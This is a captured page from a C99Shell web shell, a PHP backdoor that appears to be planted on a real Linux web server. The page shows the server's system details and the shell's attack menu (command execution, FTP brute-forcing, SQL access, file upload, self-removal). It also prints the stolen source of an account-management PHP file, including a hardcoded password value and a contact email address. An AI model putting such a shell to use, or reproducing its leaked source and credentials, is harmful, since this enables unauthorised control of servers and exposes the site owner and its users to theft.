!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/tdfonline/php/ci/   drwxr-xr-x
Free 14.7 GB of 61.93 GB (23.73%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_micuenta.php (4.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ci_micuenta extends tdfonline_ci
{

    protected 
$s__datos;


    
//-----------------------------------------------------------------------------------
    //---- form_vista -------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__form_vista(tdfonline_ei_formulario $form)
    {
        
$datos['usuario']   =  toba::usuario()->get_id();
        
$datos['nombre']   =  toba::usuario()->get_nombre();
        
        
$form->set_datos($datos);

    }

    
//-----------------------------------------------------------------------------------
    //---- formulario -------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__formulario(tdfonline_ei_formulario $form)
    {

        
$datos['usuario'] =  toba::usuario()->get_id();
        
$datos['nombre']  =  toba::usuario()->get_nombre();
        
$datos['clave']   = 'xS34Io9gF2JD';
        
        
$form->set_datos($datos);

    }

    function 
evt__formulario__modificacion($datos)
    {
            
$this->s__datos $datos;
    }

    
//---- Formulario baja ---------------------------------------------------------------

    
function conf__form_baja(toba_ei_formulario $form)
    {
        if (
$_SESSION['cliente']=='SI') {

            
$datos['usuario']  = toba::usuario()->get_id();
            
$form->set_datos($datos);

        } else {

            
toba::notificacion()->agregar('El formulario de baja es exclusivo para uso de usuarios registrados','error');

        }
    }

    function 
evt__form_baja__modificacion($datos)
    {
            
            
//Obtengo datos necesarios
            
$datos_usuario =  $this->dep('datos2')->tabla('apex_usuario')->get_datos($datos['usuario']);

            
//----------------------------

            //Completamos parametros que se envian con la funcion de envio de mensajes por email -----------------

            
$mensaje_principal $datos['asunto'];
            
$asunto            'Tdf online - '.$datos['asunto'];
                            
            
$parametros['contenido_mensaje']      = '<p><font color="#231f20">El usuario <strong>'.$datos['usuario'].'</strong>, ha solicitado la baja del sistema.</font></p>
                            <div class="ei-form-cuerpo" style="padding: 15px 10px; margin: 0px; border: 1px solid rgb(188, 187, 193);">
                                <p><strong>'
.$datos['mensaje'].'</strong></p>
                            </div>'
;

            
$parametros['correo_destino']           = 'soporte@puntocomsa.com';
            
$parametros['asunto']                   = $asunto;

            
$parametros['encabezado_mensaje']       = $mensaje_principal;
            
$parametros['encabezado_mensaje_txt']   = strip_tags($mensaje_principal);
                                                                            
            
$parametros['contenido_mensaje_txt']    = strip_tags($parametros['contenido_mensaje']);

            try {
                
$this->enviar_mail($parametros);
                
toba::notificacion()->agregar("Hemos procesado tu solicitud de baja. La misma ser&aacute; completada a la brevedad""info");
            } catch (
Exception $e) {   
                
#return 'no';
            
}

            
#return 'ok';

            //---------------------------------------------------------------------------------------------------
    
}

    
//-----------------------------------------------------------------------------------
    //---- Funciones --------------------------------------------------------------------
    //-----------------------------------------------------------------------------------


    
function enviar_mail($parametros,$uso='predeterminado'){

            
//Obtengo datos necesarios para mandar correo
            
$datos_correo =   $this->dep('datos2')->tabla('correo_envio')->get_correo_envio_por_uso($uso);
            
/*
            correo_destino
            asunto
            encabezado_mensaje
            encabezado_mensaje_txt
            contenido_mensaje
            contenido_mensaje_txt
            reply_email y reply_nombre opcionales
            */
            
require('enviar_mail.php');
            
#return true;
    
}

    
//-----------------------------------------------------------------------------------
    //---- Eventos ----------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function evt__editar()
    {
        
$this->set_pantalla('pant_edicion');
    }

    function 
evt__solicitar_eliminar()
    {
        
$this->set_pantalla('pant_baja');
    }

    function 
evt__eliminar()
    {
        
#toba::notificacion()->agregar("Adios!", "error");
    
}    

    function 
evt__guardar()
    {
        if(
$this->dep('datos')->tabla('apex_usuario')->modificar_cuenta_cliente($this->s__datos) ){
            
toba::notificacion()->agregar("Datos actualizados correctamente. Los cambios se ver&acute;n reflejados cuando ingreses nuevamente al sistema.""info");
        }else{
            
toba::notificacion()->agregar("Error al actualizar los datos.""error");
        }        
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8041 ]--